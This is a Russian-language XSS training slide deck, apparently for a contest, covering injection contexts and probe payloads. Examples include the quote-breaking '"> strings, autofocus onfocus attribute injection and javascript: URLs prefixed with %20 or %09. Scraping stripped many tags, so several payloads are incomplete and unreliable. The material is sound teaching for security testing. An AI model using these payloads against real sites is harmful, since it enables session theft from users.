XSS (Cross-Site Scripting)

Содержание

Слайд 2

Поговорим про XSS Создадим универсальный пейлоад для поиска XSS Завтра - призы и разбор заданий Программа

  Поговорим про XSS 
  Создадим универсальный пейлоад для поиска XSS 
    Завтра -

призы и разбор заданий

Программа

Слайд 3

Нафига?

Нафига?

Слайд 4

XSS (Cross-Site Scripting) - это когда хакер может выполнить произвольный javascript

XSS (Cross-Site Scripting) - это когда хакер может выполнить произвольный javascript в

браузере жертвы в контексте вашего сайта
Слайд 5

1. при генерации html-страницы, когда в код подтягиваются: любые данные из

   1. при генерации html-страницы, когда в код подтягиваются:
любые данные из БД,

ранее указанные пользователем - stored XSS
параметры из урла/тела запроса - reflected XSS
значения http заголовков, куки - нужен mitm или другой баг (не сегодня)
2. при изменении страницы джаваскриптом (про это в другой раз):
postMessage
InnerHTML, $().html(), document.write
location.hash...

XSS - причины

Слайд 6

1. пейлоад во все поля/параметры 2. рано или поздно выполнится alert() XSS - методология

   1. пейлоад во все поля/параметры
2. рано или поздно выполнится alert()

XSS -

методология
Слайд 7

Слайд 8

Слайд 9

F12 -> Ctrl+F -> "qweqwe"

F12 -> Ctrl+F -> "qweqwe"

Слайд 10

Слайд 11

Слайд 12

alert()


Слайд 13

XSS – Level 0

XSS – Level 0

Слайд 14

XSS: между тэгами разметки Привет, !

XSS: между тэгами разметки

Привет, !

Слайд 15

XSS: между тэгами разметки Привет, alert() ! /page.php?name= alert()

XSS: между тэгами разметки

Привет, !

/page.php?name=

Слайд 16

XSS: между тэгами разметки Привет, !

XSS: между тэгами разметки

Привет, !

Слайд 17

XSS: между тэгами разметки Привет, Вася alert() !

XSS: между тэгами разметки

Привет, Вася!

Слайд 18

XSS: внутри значения аттрибута ">!

XSS: внутри значения аттрибута

">!

Слайд 19

XSS: внутри значения аттрибута alert() ">! /page.php?name="> alert()

XSS: внутри значения аттрибута

">!

/page.php?name=">

Слайд 20

"> alert()

">

Слайд 21

XSS – Level 1

XSS – Level 1

Слайд 22

XSS: между специфичных тэгов Привет,

XSS: между специфичных тэгов


Привет, <?php echo($_GET["name"]); ?>




Слайд 23

XSS: между специфичных тэгов Привет,"> alert() /page.php?name="> alert()

XSS: между специфичных тэгов


Привет,"><script>alert()</script>




/page.php?name=">

Слайд 24

XSS: между специфичных тэгов Привет,"> alert() /page.php?name="> alert() Сработает?

XSS: между специфичных тэгов


Привет,"><script>alert()</script>




/page.php?name=">

Сработает?

Слайд 25

XSS: между специфичных тэгов Привет,"> alert() /page.php?name="> alert() НЕТ!

XSS: между специфичных тэгов


Привет,"><script>alert()</script>




/page.php?name=">

НЕТ!

Слайд 26

XSS: между специфичных тэгов Привет,"> alert() /page.php?name="> alert()

XSS: между специфичных тэгов


Привет,">





/page.php?name=">

Слайд 27

"> alert()

">

Слайд 28

XSS: между специфичных тэгов var name=" ";

XSS: между специфичных тэгов

Слайд 29

XSS: между специфичных тэгов var name=""> alert() "; /page.php?name="> alert()

XSS: между специфичных тэгов
";

/page.php?name=">

Слайд 30

XSS: между специфичных тэгов var name=""> alert() "; /page.php?name="> alert()

XSS: между специфичных тэгов
";

/page.php?name=">

Слайд 31

"> alert() + …(по ситуации)

"> + …(по ситуации)

Слайд 32

XSS – Level 2

XSS – Level 2

Слайд 33

XSS: особенности HTML ">!

XSS: особенности HTML

">!

Слайд 34

XSS: особенности HTML '>!

XSS: особенности HTML

!

Слайд 35

'"> alert()

'">

Слайд 36

XSS: внутри значения аттрибута ","&gt;")..%>'>!

XSS: внутри значения аттрибута

!

Слайд 37

XSS: внутри значения аттрибута ! /page.php?name='> alert()

XSS: внутри значения аттрибута

!

/page.php?name='>

Слайд 38

XSS: внутри значения аттрибута ! (autofocus onfocus не будут работать если у инпута type=hidden) /page.php?name='%20autofocus%20onfocus='alert();

XSS: внутри значения аттрибута

!

(autofocus onfocus не будут работать

если у инпута type=hidden)

/page.php?name='%20autofocus%20onfocus='alert();

Слайд 39

XSS: внутри тэга script var name=" ";

XSS: внутри тэга script

Слайд 40

XSS: внутри тэга script var name=""; alert();//"; /page.php?name=";+alert();//

XSS: внутри тэга script

/page.php?name=";+alert();//

Слайд 41

XSS: внутри ссылки ">Вернуться

XSS: внутри ссылки
">Вернуться

Слайд 42

XSS: внутри ссылки Вернуться /page.php?returnUrl=javascript:alert()

XSS: внутри ссылки
Вернуться

/page.php?returnUrl=javascript:alert()

Слайд 43

XSS: внутри ссылки Вернуться /page.php?returnUrl=%20javascript:alert() Сработает?

XSS: внутри ссылки
Вернуться

/page.php?returnUrl=%20javascript:alert()

Сработает?

Слайд 44

XSS: внутри ссылки Вернуться /page.php?returnUrl=%20javascript:alert() ДА!

XSS: внутри ссылки
Вернуться

/page.php?returnUrl=%20javascript:alert()

ДА!

Слайд 45

XSS: внутри ссылки Вернуться /page.php?returnUrl=%09javascript:alert()

XSS: внутри ссылки
Вернуться

/page.php?returnUrl=%09javascript:alert()

Слайд 46

XSS на biz.mail.ru Bounty – 500$ https://hackerone.com/reports/268245

XSS на biz.mail.ru Bounty – 500$ https://hackerone.com/reports/268245

Слайд 47

Слайд 48

Слайд 49

Слайд 50

XSS: внутри ссылки Вернуться /page.php?returnUrl=javascript:alert()

XSS: внутри ссылки
Вернуться

/page.php?returnUrl=javascript:alert()

Слайд 51

XSS – Level 3

XSS – Level 3

Слайд 52

'"> alert()

'">

Слайд 53

'"> alert()

'">

Слайд 54

'">

'">